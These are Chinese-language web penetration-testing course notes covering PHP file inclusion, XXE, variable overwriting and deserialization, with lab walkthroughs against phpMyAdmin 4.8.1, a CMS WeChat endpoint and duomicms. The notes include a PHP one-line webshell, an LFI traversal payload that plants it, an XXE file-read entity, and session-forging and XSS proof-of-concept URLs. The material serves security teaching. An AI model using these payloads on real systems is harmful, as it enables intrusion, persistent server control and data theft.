6.1 文件包含
6.1.1 什么是文件包含?
比如我们登陆后台,后台的每个界面都验证我们的权限。你那么难道在后台的每个php界面中都要写验证的代码吗?并不是,如果每个界面都写一段验证的代码,会让我们的代码显得很冗余,效率也不高。
于是这里php定义了一个函数,叫做文件包含函数。对我们常要调用的东西会写入文件里面,如我们一块功能代码叫做check .php。我们每次需要这段代码的时候我们只需include(‘check.php’)便实现了文件的调用。
这样同一个文件我们不需要重复的写,只要不断地引用就好了。
如果要文件包含一个文件,那么该文件一定会被当作php代码执行。
6.1.2 文件包含的形成
攻击者利用包含的特性,加上应用本身对文件(包含)控制不严格,最终造成攻击者进行任意文件包含。(注:包含的文件会被当成脚本文件来解析)
一句话来说就是:文件包含并不属于漏洞,但是,由于对包含进来的文件不可控,导致了文件包含漏洞的产生。
6.1.3 日常的理解
我们对日常解析文件解析的理解:
文件是否当作php代码执行一般都看后缀.
而文件包含只要包含了文件,被包含文件无论什么后缀都会当作php执行。
其实文件包含本身使开发者用来引用方便减少代码冗余的方法,本身算不得一个漏洞,但是其被包含的文件无论什么后缀都会被当作php解析,设想如果我们可以控制被包含的文件呢?
6.1.4 文件包含的利用
如果我们上传了一张图片马,其实很多时候图片马被限制大都是无法被当成php解析,倘若我们与文件包含配合,是不是就直接getshell了
如果我们害怕文件包含一次不是一直有效,我们可以传一个生成马的图片马,代码如下:
file_put_contents('8.php','<?php eval($_REQUEST[a])?>');
这样一来我们就会当前目录下生成一个名为8.php的一句话木马
(<?php eval($_REQUEST[a])?>)
这样一来只要文件不被删除我们就永远有马可连了。
其实文件包含本身并不算是漏洞,只有我们用户能够任意控制包含什么文件是才是漏洞。
6.1.5 文件包含的分类
本地文件包含:一般包含服务本身上的资源。(LFI)
远程文件包含:通过http协议包含其他地方的资源。(RFI)
6.1.6 文件包含函数解析
include:使用include引用外部文件时,只有代码执行到include代码段时,调用的外部文件才会被引用并读取,当引用的文件发生错误时,系统只会给出个警告错误,而整个php文件会继续执行。
require:在php文件被执行之前,php解析器会用被引用的文件的全部内容替换require语句,然后与require语句之外的其他语句组成个新的php文件,最好后按新的php文件执行程序代码。
include_once:会在导入文件前先检测该文件是否在该页面的其他部分被引用过,如果有,则不会重复引用该文件,程序只能引用一次。(要导入的文件中存在一些自定义函数,那么如果在同一个程序中重复导入这个文件,在第二次导入时便会发生错误,因为php不允许相同名称的函数被重复声明)
require_once语句是require语句的延伸,他的功能与require语句基本一致,不同的是,在应用require_once时,先会检查要引用的文件是不是已将在该程序中的其他地方被引用过,如果有,则不会在重复调用该文件。(同时使用require_once语句在同一页面中引用了两个不同的文件,那么在输出时,只有第一个文件被执行,第二个引用的文件则不会被执行)
6.1.7 文件包含案例(include函数)
这里我们可以看到我们写了一个jiang.php文件,并让其包含1.txt,txt文件里写的是phpinfo(); 然后我们在这里去访问jiang.php,显然我们include包含1.txt成功了,成功将其当作php解析了。这里如果找不到1.txt文件去包含,只会报一个错,也不影响后边的代码执行。




但是如果我们使用了require去包含那么一旦包含的文件找不到,后边的语句都不会执行了。



这里我们不止仅能包含当前目录下的文件,只要在服务器上哪都可以包含,这里我们可以看出我们包含了一个c盘下的图片马,并且传参成功了。


同样在这里我们也可以不传参phpinfo();,我们可以传一句生成马的代码,这样我们可以看出在原本的根目录下是没有jiangtao.php的,经过我们的传参生成马,导致在原本网站根目录下生成了一个名为jiangtao.php一句话木马。


然后我们访问jiantao.php并对其传参phpinfo();这里可见,我们传参有效,一句话写入成功。

6.1.8 远程文件包含
这里以上我们演示的都是本地文件包含,我们要想远程文件包含,我们需要修改一个配置需要该配置打开才行。
需要allow_url_include = On (该配置默认关闭)
如果该配置打开存在远程文件包含的情况下,它可以包含任意一台公网服务器上能访问到的文件。包含方式直接走http协议就行。

理论上说远程文件包含要比本地文件包含的危害大,但是在windows环境之下,可以通过smb服务将本地文件包含转化为远程文件包含。(安全客文章 smb服务绕过远程文件包含限制)
6.1.9 小贴士
这里我们明确一个事情。
这里我们在windows命令行中输出
>cd sdfafdsafa/../
时候我们还在原本的目录下。


我们带上一些特殊符号也是没有问题的。
我们在php中如此操作也是没有问题的。


但是如果我们在其中加以一个问号就会报错


?在php中问号是拿来传参的,当php解析器遇到了?就认为后面是传参了,不认为是路径了,但是当include去执行的时候会报错,因为include认为那是路径。
如果遇到包含的文件需要传参时候,可以写http://192.168.19.131/lfi/2.php?a=1.txt&q=phpinfo();
一个&符号就可以了
6.1.10 思维导图

6.1.11 靶场案例
phpMyAdmin4.8.1
下载地址:http://59.63.200.79:8010/lfi/phpMyAdmin.zip
seay源代码审计系统
代码审计phpMyAdmin4.8.1 流程
首先我我们用工具打开我们实现下载好的文件。

这里我们要找的是文件包含漏洞,我们可以选择自动审计,但是文件包含主要就围绕着两个函数,include()和require() 我们可以选择全局搜索,进行审计。
全局搜索 -> include -> 查找

在这里我们可以发现有很多地方使用了include函数。
我们可以发现像这样第1,2条这种include所包含的文件写死了的(固定的),我们根本不可能更改其包含什么文件,所以就没戏了。但是像第8条这样的,include接受的是一个request的传参,八成就是有问题了。我们点击进入查看。

这里我们来到了request传参的地方,下面我们开始进行排查。切记一点我们在代码审计找到疑似漏洞的地方,我们需要进行探索,满足什么条件才能触发此漏洞。

然后我们往上面找,找到最开始$_REQUEST['target']的地方,然后向上确定没有die或者exit之类的函数,我们需要确保程序能执行到这个地方。

然后我们对代码进行分析,分析if后需要什么条件才能执行到include $_REQUEST['target']; 我们发现if后边用&&(与)连接表示者若干条件都要满足才能执行。

然后我们来分析这些条件,在这些条件全部满足的情况才能触发漏洞。
条件1:! empty($_REQUEST['target'])
Empty() empty — 检查一个变量是否为空 ,前边有一个!,则说明我们的传参不能为空
条件2:&& is_string($_REQUEST['target'])
is_string() is_string — 检测变量是否是字符串 ,则说明我们的传参需要是一个字符串(正常而言我们通过post/get传参的一般都是字符串)
条件3: && ! preg_match('/^index/', $_REQUEST['target'])
preg_match() preg_match — 执行匹配正则表达式,'/^index/'用来匹配有没有index开头的。而且前边有一个!,则说明我们的传参不能是index开头。
条件4:&& ! in_array($_REQUEST['target'], $target_blacklist)
in_array() in_array — 检查数组中是否存在某个值,
而我们以上这个函数中还有一个$target_blacklist则说明我们要匹配的是这个$target_blacklist,匹配到了显示1,没匹配到返回0,即黑名单的意思,前边还有个!,则说明我们不能匹配到黑名单里的东西。这里我标记$target_blacklist右键选择全文追踪即可定位到黑名单的位置。则说明我们传参不能出现'import.php', 'export.php'

条件5: && Core::checkPageValidity($_REQUEST['target'])
Core::checkPageValidity()这里我们发现一个checkPageValidity,我们不知道什么意思,这里我们注意在php中凡是遇到::双冒号表示类的方法,这里我们对其进行一下
右键-> 函数定位
与渗透测试而言方法与函数其实是差不多的。

这里我们就定位到了该函数,经判断最后这个条件返回true,就可以触发条件了。从而这五个条件都满足了就可以触发该漏洞了。
这里我们来分析一下代码,首先这个if中涉及了一个白名单。

然后我们来定位一下这个白名单。

然后我们向下看,在我们想要触发漏洞的时候,我们只需要看如和返回true的那些返回false的地方我们都没有必要看。
这里又看见了一个in_array($page,$whitelist)函数,我们很容知道他的意思是在$page 中尝试匹配白名单中的东西,若匹配到则返回true

但是这个$_page是什么呢?
这里我们看到这checkPageValidity方法只有一个传参,所以我们断定这个$page就是这个target。则说明我们我们传参是白名单的内容才能返回true,但是我们的传参需要带有攻击性,肯定不能是白名单内容啊。

所以我们要继续向下看这里搞头不大。
这里我们继续往下看,发现了$_page = mb_substr这个函数,
于是我们来百度一下他的作用。
mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
mb_strpos(a,b) 查找字符串b在另一个字符串a中首次出现的位置.下标从0开始。
$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));
上边这句代码的意思就是先将我们接受的传参拼接入一个问号,然后查找?的下标,最后在从0开始截取到该下标的位置将其重新赋值给$page.
其实其功能总结最后就是返回问号前的字符串作为传参。
如我们传一个:
abc => abc?(此时问号的位置是3)
然后我们再从0开始取,取3位其实还是abc
所以可见这一套操做就是相匹配问号前边的字符串。

将上述一套流程筛选下来的字符串再放到白名单中匹配,如果匹配成功就可以返回出True了。

所以这里我们可以思考我们是否可以用?来截断我们的传参呢。db_sql.php(为白名单中的数据)
如果我们传参db_sql.php?/../,而验证的时候只抓取走?问号之前的数据,那我们是不是就饶过了呢?
但是我们之前尝试过include里面根本没有办法传参?问号,那又凉掉了,我们还要继续往下看。
于是我们看到了这段代码,我们发现这段代码的返回true也是可以的,于是我们来分析一下。

这里出现了一个新的函数urldecode($page)
urldecode($page) urldecode — 解码已编码的 URL 字符串。
这里有一个解码函数之后,后边就和我们上一段代码我6说过的截取问号之前的字符串效果一样了,我们就不细说,但来说说这个解码的问题,这里有一个url解码的函数,再加上如果get传参本身会有一次解码,这样我们就解了两次码,显然不能直接传参问号而我们可以通过这里进行绕过。
下边那段:
$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));
还是只起到截取问号之前的操作,而在截取之前需要解码两次。
如果我们传参: 注:%25解码为% %3f解码为?
db_sql.php%253f/../ =>这样我们第一次解码就会解码为
db_sql.php%3f/../ => 第二次解码 就会解码为
db_sql.php?/../
这样一来我们就如愿以偿实现了问号截断,当取走问号前的数据也是db_sql.php,也是白名单数据不会被拦截。而我们完整上传的解码后的数据db_sql.php?/../的关键部分跨越到上级文件的/../也可以发挥作用。而且我们之前尝试在/../前边随便输入字符串只要没有?和*都会被接受。可见6.1.7
这样我们就成功找到了漏洞。

这里我们登录后台phpmyadmin,账号密码默认root,root

然后我们在后台phpMyAdmin的根目录下,存放一个phpinfo();的文件,命名为1.a,因为文件包含任意文件类型,都当作php执行。

然后我们我们上述的漏洞实在index.php目录下审查出来的,那么我们对index.php进行一个target传参,尝试区包含上述的1.a文件。
然后我们phpinfo();执行成功,说明这里我们成功的包含了1.a文件。如果我们想getshell,可以包含一句话木马。
/phpMyAdmin/phpMyAdmin-4.8.1-all-languages/index.php?target=db_sql.php%253f/../1.a

上述文件包含流程getshell的前提是我们要有上传文件的权限,但是我们如果没有权限怎么办呢?
首先这里我们先来了解一下mysql数据库的存储结构,我们发现在phpMyAdmin中所看见这下数据,在我们网站根目录下是能找到相对应的文件的,当我们查看数据库的jiang1的表时,我们发现jiang1.frm文件是当前jiang1表最大的,于是我们来查看一下该文件。


然我们经过查看.frm文件发现有对应的字段名的数据。那么我们尝试一下在phpMyAdmin中直接修改数据是不是就能修改文件中的数据了呢。

可见这里我们如果在phpmyadmin中修改了字段名,那么我们根目录下的数据库文件也跟着变了。那么说明这里我们可以新建表和库进行写马。

这里我们创建了一个haha库并新建了一个表,将字段名写为一句话木马。因为这是一个了类似于cms的东西,所以我们可以看出文件存储的地方是固定的。C:\phpStudy\MySQL\data\haha


于是我们可以尝试对其进行文件包含。我们回到index.php界面。
然后对其进行文件包含,所包含的文件就是我们之前新建的haha0表的haha0.frm数据库文件,因为我们写入的是一句话木马,我们还要对其传参phpinfo();进行验证验证我们的木马是否写入生效。
又因为我们既要传参的target还要传参木马中的a,所以在url中传入两个参数是需要的用&&进行连接的。因为这里我们不知道index.php的位置,那我么就索性多用几个../../../../让其跳回根目录下,然后再输入的我们要包含文件的路径即可。
index.php?target=db_sql.php%253f/../../../../../../phpStudy/MySQL/data/haha/haha0.frm && a=phpinfo();

然而这里我们还是连接不了菜刀,因为我们要来到该index.php界面需要登陆,而我们在用菜刀连接时,是没法登陆的所以我们没有该index.php界面的cookie没有办法连接菜刀的,所以我们用传参的方式在该网站的根目录下写一个一句话木马,这样我们就不用管文件包含直接连了,也不用登录。
这里可见我们在phpMyAdmin的根目录下写入了一个 tao.php的一句话木马。
index.php?target=db_sql.php%253f/../../../../../../phpStudy/MySQL/data/haha/haha0.frm && a=file_put_contents('tao.php','<?php eval($_REQUEST[a])?>');

因为该一句话适合index.php在同级目录下的,所以我们直接访问即可,也不用登录.然后直接连接才到就可以了。


6.2 XXE实体注入
6.2.1 什么是XXE?
XXE = XML External Entity 即外部实体,从安全角度理解成XML External Entity attack XML外部实体注入攻击.
XXE实体注入也是注入的一种。
典型的攻击如下:

定义实体必须写在DTD部分
Xml一般用来存储数据,如我们去医院填表,入职入学等都要填表,那个表就是一个模板,我们需要填表的时候就要去访问那个模板。去加载,这时候问题就出来了,我们可不可以去控制我么们所加载的文件,我们可不可以通过这类操作来读取一些敏感信息,内网地址等。
其效果类似于ssrf。通过DTD部分加载一些东西。
6.2.2 什么是XML?
XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准
特点:
XML仅仅是纯文本,他不会做任何事情。
XML可以自己发明标签(允许定义自己的标签和文档结构)
XML 无所不在。XML 是各种应用程序之间进行数据传输的最常用的工具,并且在信息存储和描述领域变得越来越流行。
这玩意就是个储存数据的
Tomcat中间件的登陆的账号密码就储存在xml文档中
XXE实体注入其实也是注入,所以也需要满足注入的两个条件。
用户能控制输入。
输入的数据能当作代码执行。
6.2.3 Xml实例
php中存在一个叫做simplexml_load_string的函数
这个函数是将XML转化为对象
实例:
<?php
$test = '<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>';
$obj = simplexml_load_string($test, 'SimpleXMLElement', LIBXML_NOENT);
print_r($obj);
?>
这里的test相当于一个变量,里面是XML。这里标签<scan>没有实际意义,可以随便写,但是一定更要有。
然后试用simplexml_load_string将其转化为对象,第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMLElement这个类,然后LIBXML_NOENT是替代实体,然后他去执行了file协议去读取我的文件。
DTD部分加载内容,赋值给实体,正文部分标签输出实体。


6.2.4 XXE原理
理论上讲,xml自己就是存储数据的,没有什么功能,但是如果动态脚本语言参与,会将其转化为对象,并加以操作,这样就可以实现一些功能了。
有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件


6.2.5 XXE作用
XXE实体注入主要用来探测内网,探测敏感信息(各类文件)等,走内部协议进行攻击,与ssrf用途相近作用如下:
我们让XXE去读取访问我们想要的东西
我们让XXE带这我们需要的数据去访问我们的服务器
我们那台服务器上记录了XXE发过来的数据。
我们去服务器上查看。


6.2.6 XXE扩展
<!ENTITY 实体名称 SYSTEM “URI/URL”>
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

6.2.7 XXE模拟
XXE漏洞是后端的问题,在于我们输入的东西会被simplexml_load_string函数当作xml处理,读取我们想要的东西。
XXE和SSRF最大的功能在于能发起请求。这里我们在本地模拟一下环境。
首先我们创建一个p.php这个界面会将我们访问该页面的传参写入a.txt中,然后我们去访问p.php,发现成功写入传参的id.

然后我们再去模仿一个有漏洞的界面3.php,我们在访问3.php并请求去访问p.php,可见id也写入成功。

上述方法,主要应用于我们在进行XXE没有回显的时候,可以通过此方法将数据外带出来。
6.2.8 靶场通关
首先我们要了解除非是纯静态网站,否则任何网站都是要和数据库交互的,都要输入数据库的账号密码。一般来说都会有一个配置文件专门记载着数据库连接账号密码等。
当然每个网站的配置文件不同但是大多数都放在conn.php文件中,如靶场的闪灵cms就是放在conn.php中,一般都放在一些有连接字样的文件中。

如靶场的conn文件我们进行一下访问,我们发现什么也没有,难道页面不存在吗。

但是我们随便访问一个网页发现如果该界面不存在是有提示的可见我们访问的conn/conn.php文件并不是不存在,只是我们看不到其数据罢了。

因为微信之前报出了XXE漏洞,所以很多网站为了支持微信都建立了微信接口导致都存在漏洞。然后我们重点来看看微信的这个php文件。
因为XXE漏洞都是使用simplexml_load_string这个函数,所以我们来查找一下这个函数。

然后我们分析一下这段代码。

这里我们遇见了一个函数。
$postArr = file_get_contents("php://input");
php://input 是个可以访问请求的原始数据的只读流file_get_contents — 将整个文件读入一个字符串
$postArr = file_get_contents("php://input");
这里该句代码的意思是接收所有post传参。
这里我们来尝试一下该函数的作用。
这里我抓取该界面的访问数据包,将请求方式修改post然后放报看结果。


可见这里果然接受了所有post传参。


然后我们接着来进行查看,如何才能进入次if分支,从而有可能出发漏洞。我们可以看出只有当$signature参数不为空,且$echostr为空的时候才能进入分支。

我们往上寻找,发现$signature是$_REQUEST来进行接受的。

当我们将传参方式改为post,并且传参一个signature,在post随便提交一些东西,这时满足了上边的if的条件,我们可以看出网页爆出了xml的错误,说明我们写入的东西被带入了xml文档,这就说明这里存在问题,我们打入poc试一试看看是否有问题。



我们将传参方式改为post并在get传参的地方传入signature,在post中打入XXE的poc,即可放包。即可在3.txt中查看到写入的数据。
经解密后如下(32位长度无特殊符号位MD5)

我们可以看到连接数据库的配置信息。
然后我们用目录扫描工具即可扫描到一个adminer.php的界面

6.3 变量覆盖(白盒审计)
6.3.1 什么是变量覆盖?
变量覆盖指的是可以用我们的传参值替换程序原有的变量值
6.3.1.1 怎么去寻找变量覆盖?
经常导致变量覆盖漏洞场景有:$$双美元符使用不当,extract()函数使用不当,parse_str()函数使用不当,import_request_variables()使用不当,开启了全局变量注册等。(如今的php版本全局变量注册基本是遇不到的)
变量覆盖漏洞有的时候可以直接让我们获取Webshell,拿到服务器的权限。
(php中双引号识别变量,单引号不识别,全当字符串)
(= 赋值 , == 比较/只比较值 , ===既比较类型,又比较值 )
6.3.1.2 变量覆盖成因
<?php
$a=’phpinfo();’
........
extract($_GET);
........
eval($a);
?>
一般上述这种情况,在首次定义的时候把变量a的值写死,正常情况下是没有问题的,但是一旦之后的程序运行中出现了extract($_GET); 这种情况就说明我们能通过传参,任意覆盖变量,导致漏洞出现,如上图所示因为extract($_GET); 的存在我们完全可以通过传参将变量a进行覆盖。
extract($_GET);出现在定义$a=’phpinfo();’下边
$_GET 传参一般是以数组的形式获取的。
3.Ctf实例:
<?php
$flag = 'flag(dsfsdfsdf)';
$test = 'asfsdfsafsfd';
extract($_GET); //接收get传参导入当前符号表中
if(isset($gift)){ //isset()检测变量是否存在
$content = trim($test); //trim去掉字符串首尾空格
if($gift == $content){
echo'flag is:'. $flag;
}
else{
echo'erro';
}
}
?>
注*:这段代码的意思是指接收get方式传参将变量导入符号表中,并对传参名为gift的变量做判断,当其不为空时,将原有的变量test去掉其中空格将其值赋给content,判断我们上传的gift参数是否等于test,如果等于,将输出flag,但问题是我们根本不知道test的值,我们应该怎么办呢,这里我们就应用到了变量覆盖的知识,我们可以同时上传两个变量,传一个gift,在上传一个test,将原来的test变量覆盖,因为这样test我们是可控的,所以直接让其与gift的值相等即可。
如下图:


*函数注释:
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
该函数返回成功设置的变量数目。
这里我们同时定义了两个变量,a=123,b=456,当我们访问界面的时候发现,当我们传参对其进行变量覆盖的时候,只有a被覆盖成了111,而b并没有被覆盖成222,这是为什么呢,这里我们发现只有在extact()之前定义的变量才能被覆盖,而之后的并不能。

isset()函数用于检测变量是否已设置并且非NULL。
如果已经使用unset()释放了一个变量之后,再通过isset()判断将返回FALSE。
如果使用isset()测试一个被设置成NULL的变量,将返回FALSE。
同时要注意的是null字符(“ \ 0”)并不相等于PHP的NULL常量。
PHP版本要求:PHP 4,PHP 5,PHP 7
trim()函数可移除字符串两端的空白字符或其他预定义字符。
符号表是指当前php页面中,所有变量名称的集合,可以使用函数get_defined_vars直接获得当前所有已定义变量列表的多维数组。
parse_str()函数把查询字符串解析到变量中。

输出了zkaq和60
那么parse_str("name=Bill&age=60") 相当于完成了$name ='zkaq'和$age ='60'
那么如果在parse_str中可以直接传参的话,那么是不是也可以覆盖变量呢。
6.3.2 变量覆盖的危害
变量覆盖的危害,说大不大说小不小,他取决于在extact()之后的代码使用这个变量做什么,如果做eval()那么这就是任意代码执行,所以执行的功能越强,该危害就越强,也不排除我们发现了,变量覆盖的地方,可是人家之后的代码这个变量没有用到,或者没有很大用处,那样的话我们即使发现了这个漏洞也是没有什么危害的。
如下我们的这个就是一个任意代码执行。我们将a覆盖并传参了$a=phpinfo();.

6.3.3 案列分析
不仅仅是函数会导致变量覆盖,有些特殊符号的特殊搭配也会引起变量覆盖漏洞,比如$$
$$ 导致的变量覆盖问题在CTF代码审计题目中经常在foreach中出现,如以下的示例代码,使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的值作为变量的值。因此就产生了变量覆盖漏洞。请求?name=test 会将$name的值覆盖,变为test。
我们上一个例题:
<?php
$a = 1;
foreach(array('_COOKIE','_POST','_GET') as $_request) {
foreach($$_request as $_key=>$_value)
{$$_key=addslashes($_value);}}
echo $a;
?>
这个代码会接受我们的GET提交、POST提交、COOKIE参数,将这个接受来的参数依次放入$_request
$_key=>$_value 这是个数组解析,实际上就是键值分离
正常而言$a = 1是一个定值,但是因为$$_key的缘故,当我传参a=2;那么$$_key=addslashes($_value);就变为了$a = 2 .
addslashes():在每个双引号前加一个\反斜杠(魔术引号就是为了突破它),这里我们可见之前没定义过的变量可随意传参。
6.3.4 靶场实战

靶场是一套cms,duomicms,因为一般变量覆盖漏洞是很难黑盒找出来的,我们一般都是用白盒代码审计,所以我们来进行白盒审计这套cms。
6.3.4.1代码审计思路
通过index.php来通读全文代码。
追踪危险函数。
如:
mysqli_query()执行sql语句的函数
eval/assert:代码执行
parse_str()/extract():变量覆盖的函数
6.3.4.2 熟悉代码审计工具的使用
1.可在全局搜索我们所需要的危险函数等。


- 数据库检测功能,我在前台网页上注册一个名为jiang的用户,我们就可以在审计工具上查看到一条注册时插入数据库的语句。

这里我们下断更新,重新注册一个账户,在其邮箱后边尝试单引号闭合,但我们还是注册成功了,那么为什么呢,我们来看下我们的sql语句。
我们将其复制出来发现了,他将我们传入数据库用来闭合的单引号转义了,所以才会注册成功

INSERT INTO `duomi_member`(id,username,password,email,regtime,regip,state,gid,points,logincount) VALUES ('','jiang1','c3949ba59abbe56e057f','375191784@qq.com\'','1592377076','','1','2','0','1')
6.3.4.3 靶场变量覆盖漏洞寻找
我们回到靶场开始寻找变量覆盖漏洞,首先我们来根据双美元符来定位,产找漏洞。当然也并不是所有的双美元符都有做用,像这样蓝框中写死的是不可能有用的,但是像我们上边看到的那种红框中的就会有搞头。

这里出现了一个函数我们不认识,我们来定位一下函数。

于是我们定位到了。

然后我们又见到了很多不认识的函数。我们来百度一下。

get_magic_quotes_gpc() 获取当前 magic_quotes_gpc 的配置选项设置.函数是一个用来判断是否为用户提供的数据增加斜线了,这个在php.ini配置文件中哦.其实该函数就是用来检测我们是否开启了魔术引号。
这段代码的意思是如果开了,就直接返回原变量,如果没开就执行if条件下的语句,首先如果其是数组就将其键值分离成变量的形式,然后在调用该函数,如果其不是数组就直接调用了addslashes()函数即为他加了一个反斜杠。其实该函数的最终目的就是为了给传参加上一个魔术引号的效果。

其下边这段代码就是我们上边遇到过的,无论传什么get,post,cookie传参,如a=1最后都会变成变量a=1.

而后我们向上看有没有什么exit,die之类的函数,我们不能让其执行,因为一旦执行了我们就触发不了漏洞了,果然我们向上看到了一个exit。我们来分析一下怎样让他不进入exit的这个分支。然后这里我们发现这里有三个&&条件,这表示只有这三个条件全部为真,才能执行exit。

于是我们来分析一下三个条件和所对应的函数:
条件1:
strlen() 函数返回字符串的长度,中文字符串的处理使用 mb_strlen() 函数
这里表示只要$_k的长度大于零即为真。
条件2:m_eregi('^(cfg_|GLOBALS)',$_k)
也是个函数貌似自定义的的我们来定位下。
定位到了一个自定义函数,我们这里其实就是一个正则匹配的意思,如果我们的传参开头是cfg_|GLOBALS那么返回真,那么也容易我们的传参开头不带cfg_|GLOBALS就可以了。
注*:GLOBALS也是用来获取全局变量的。
条件3:这里就不多说了,isset之前遇到过,检测变量是否为空。意思就是cookie传参的话就没问题了。
其实综上所述,只要一个条件不满足他就无法exit的。

这里我们知道代码是自上到下执行的。变量覆盖只能覆盖上边的东西,而覆盖不了其后边的东西。而且一个界面一个文件一般都是一个开发人员写的,所以该页面的之后的部分可能会对变量覆盖有防护,所以我们尝试去找找这个文件有没有被其他文件,包含,因为其他文件可能包含这个文件,不同的文件可能出自不同的开发之手,出现问题的可能性比较大,那么我们来查看其余的那些文件包含了这个common.php
然后我们搜索到了很多包含这个common.php的文件,这里我们选一个我们最感兴趣的php的文件看一下。

然后我们发现这里的login.php包含了一个check.admin.php,那么我们来看看这里什么内容。
然后我们找到了该页面check.admin.php
然后这里我们发现了一个语句。
Session_start():开启session的意思。

Session,与cookie对应,其实cookie只是一个字符串,本身无任何意义,他只是网站随机分配的.对于网站来说session才是有意义的,session绝对能够你是否有权限,但是session是存在服务器上的。
Session适合cookie又捆绑的,每一个cookie都有一个服务器上的session对应。这里的session_start()是开启session的意思,php是可以赋值session的。
如下:这里其实就是在改变session的值,而且session的值觉得了session所代表的权限。


由上述流程检测用户=>保持用户的会话的状态,即当用户登录了,php就会修改session的值。
那这里我们是不是可以在session_start()开启后,且后边没有做session操作的地方,我们自己把session赋值成管理员。
然后我们在这里看到了session_start(),且后边包含了common.php,且我们看见该页面后面的代码没有对session的操作,所以我们可以对session进行赋值并让其拥有管理员权限。

那么问题来了,session什么样,什么样的session代表管理员呢?我们可以通过这里进行全局定位下。

我们可以通过这里的信息定位一下,可见这里我们定位到了session的信息定义的地方。

同样这些信息的键和值我们都可以经过全局搜索来定位到。

然后我们发现这里有明确规定的参数只有group_id,我其他两个键值随便写也是可以的。
$_SESSION[duomi_group_id]=1
$_SESSION[duomi_admin_id]=1
$_SESSION[duomi_admin_name]=admin
可见这里我们name和admin_id的信息随便写了,但是后台我们还是登进去了。
这里后台在admin目录,我们将poc传参进去,刷新会出现err界面,当我们再次进入admin目录发现已经登陆了。
因为我们搜索group_id的时候都可搜索到判断的字眼,如:
if($groupid==1)字样可见他是有判断的,而剩余那两个并没有,即便有也是以一些不为空的判断,并不是一定等与什么的认证。所以我们断定他可以为空。


而且这里是有一个管理员名字的输出,其实这里是可以打一个xss的。
POC:interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=<script>alert(1)</script>

思路总结:
我们很明确的知道了,common.php文件存在变量覆盖,那么我们去看下什么文件调用了他,
很明显在登录的页面调用了该文件,我们去login.php去看看,这个页面似乎还调用了check.admin.php,我们去看看这个文件
通过看check.admin.php这个文件的备注,就能知道这个文件是控制session的,可以控制权限、id、用户名,那么我们是不是可以通过common.php进行一个伪造session呢?

通过这里可以设置session值进行赋值来获得权限,groupid是权限的意思,我们全文一搜索,轻松的发现

POC:interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin
6.4 unserialize反序列化漏洞
6.4.1 什么是序列化/反序列化?
序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】
简单的理解:将PHP中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中
将当前的状态/当前的对象 存档 为字符串。
反序列化,序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用。(重新再转化为对象或者其他的)【将字符串转化为状态信息】
6.4.2 序列化/反序列化应用
序列化==>存档[保存当时的状态]
反序列化==>读档[还原序列化时的状态]
当在php中创建了一个对象后,当php运行结束对象就被销了。

我们要想将其保存住,就要通过序列化,用serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。
这里我们可见,我们使用将class1序列化之后赋值给了$a,
然后我们取var_dump一下$a发现其变成了一个字符串。

string(60) "O:7:"chybeta":2:{s:4:"test";s:3:"qwe";s:2:"qq";s:5:"jiang";}"
变量类型:类长度:类名:类属性数量
{属性类型:属性名长度:属性名:属性值类型:属性值内容}
该字符串就是由刚才我们的类序列化出来的东西,我们通过该字符串也可以反序列化unserialize直接得到当时的对象。

这里同样数组也可以被序列化再反序列化,道理都是一样的。

6.4.3 魔术方法
本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。
那么什么是魔术函数/魔术方法?(反序列化最重要的两个概念就是类和魔术方法。)
在类中有一些可以特殊函数,当满足条件,可自动触发。

双下滑线是魔术方法的标志,一般在函数定义的时候出现了双下划线的方法(函数)十之八九都是魔术方法。
魔术引号的应用:我们编写了如下程序,创建了一个chybeta的类,类中有三个魔术方法 __construct(),__destruct(),__wakeup()
分别在不同的时刻被自动调用。
情景1:当我们实例化一个chybeta的对象时,__construct()会被触发,当程序运行结束时,对象会被自动销毁所以__destruct()也会被触发。

情景2:当我们使用反序列化函数unserialize()的时候,就会触发__wakeup(),就会被执行,而因为发序列化读档获得了一个对象,所以当php运行结束后,该对象还是会被销毁,所以__destruct()魔术方法也会被触发。

Php的方法调用的形式就是$a->jiang();

6.4.4 反序列化的危害
反序列化的危害程度就取决于函数中语句的程度.如下执行了phpinfo();
当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

反序列化漏洞也是需要白盒审计的,黑盒几乎没可能。
6.4.5 靶场实战
这里定义了一个readme的类,类里有一个魔术方法。当对象被当作字符串时,进行高亮处理。
__toString() 是魔术方法的一种,具体用途是当一个对象被当作字符串对待的时候,会触发这个魔术方法
highlight_file() 函数对文件进行语法高亮显示。
$this->source 这里可以当作是定义了一个变量source(类似于形参)
代码如下:
